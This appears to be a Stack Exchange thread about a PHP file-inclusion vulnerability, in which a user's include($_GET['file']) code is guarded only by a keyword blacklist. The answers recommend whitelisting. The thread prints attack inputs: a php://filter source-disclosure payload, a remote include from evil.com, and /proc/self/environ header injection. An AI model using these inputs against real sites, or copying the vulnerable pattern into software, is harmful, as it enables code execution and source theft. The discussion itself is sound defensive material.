4

I'm aware of this vulnerability via PHP's filter stream wrapper that is able to disclose PHP source code: file=php://filter/convert.base64-encode/resource=filename.php.

So I went ahead to guard against this kind of attack/exploit, by filtering for/away the "php" keyword, to attempt to stop any PHP stream wrapper.

Any idea whether this is safe/secure enough, or is there another possible attack/injection vector to exploit & view the source code of my PHP scripts?

For reference, if it matters, I'm serving these PHP scripts via nginx and PHP 5.5.9 on Ubuntu.

if (!isset($_GET["file"])) { die(); }
$file = $_GET["file"];
if (preg_match("/data:/i", $file)) {
    die();
}
$file = trim($file);
if (preg_match("/php/i", $file)) {
    die();
}
include($file);

Thanks

2 Answers 2

5

First of all, you are not merely disclosing file content. You are executing it.

If php is configured to allow URL inclusion the attacker can simply do file=http://evil.com/attackercode.txt and your script will execute the attackers code.

Alternatively the attacker can perform a local file include by sending php code in request headers and do file=/proc/self/environ or any other number of attacks.

In short you should ideally never call include on user supplied data.

2
  • What if I also disabled http (my allow_url_include=0) and other protocols stated here? I can't quite trigger the "sending php code in request headers and do file=/proc/self/environ" attack that you speak of. Details pls?
    – Adeline Ho
    May 18, 2015 at 4:36
  • say if I had a file sql.php in the same folder which contained user login credentials, would an attacker be able to extract that?
    – Adeline Ho
    May 18, 2015 at 4:39
1

Blacklisting is rarely a good idea. A whitelist would be a better approach.

Say you are using includes for language selection. Check whether file equals english, french, or german for example. Call die() if not. Then it does not matter if a user supplies http://example.com/evil.php, php://filter/convert.base64-encode/resource=filename.php or sql.php as your code will not execute it.

By the way, the attacker would not be able to see what was in sql.php - the PHP interpreter would simply execute the included code as though it was in the current file. However, you should still only include files you are expecting.

7
  • so your claim is that there's no way, given my setup, that the source of sql.php, for instance, can be viewed? (also assuming external connections via http URLs for example are also disabled)
    – Adeline Ho
    May 18, 2015 at 8:20
  • @AdelineHo: If sql.php was included with include, it would be executed, not output. May 18, 2015 at 8:22
  • yes, true. but without that /php/ filter, this php://filter/convert.base64-encode/resource=sql.php would succeed, and return a base64-encoded version of the source code, since it won't execute that base64-encoded payload, right? so, is there like no other way to do it with the /php/ filter implemented?
    – Adeline Ho
    May 18, 2015 at 8:25
  • @AdelineHo: If you're whitelisting the full file string, how can an attacker pass a string beginning with php://? May 18, 2015 at 8:27
  • yea, so I just wanted to know if doing that (as in the preg_match part)'s like really safe to block all php:// kind of attacks.
    – Adeline Ho
    May 18, 2015 at 8:29

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .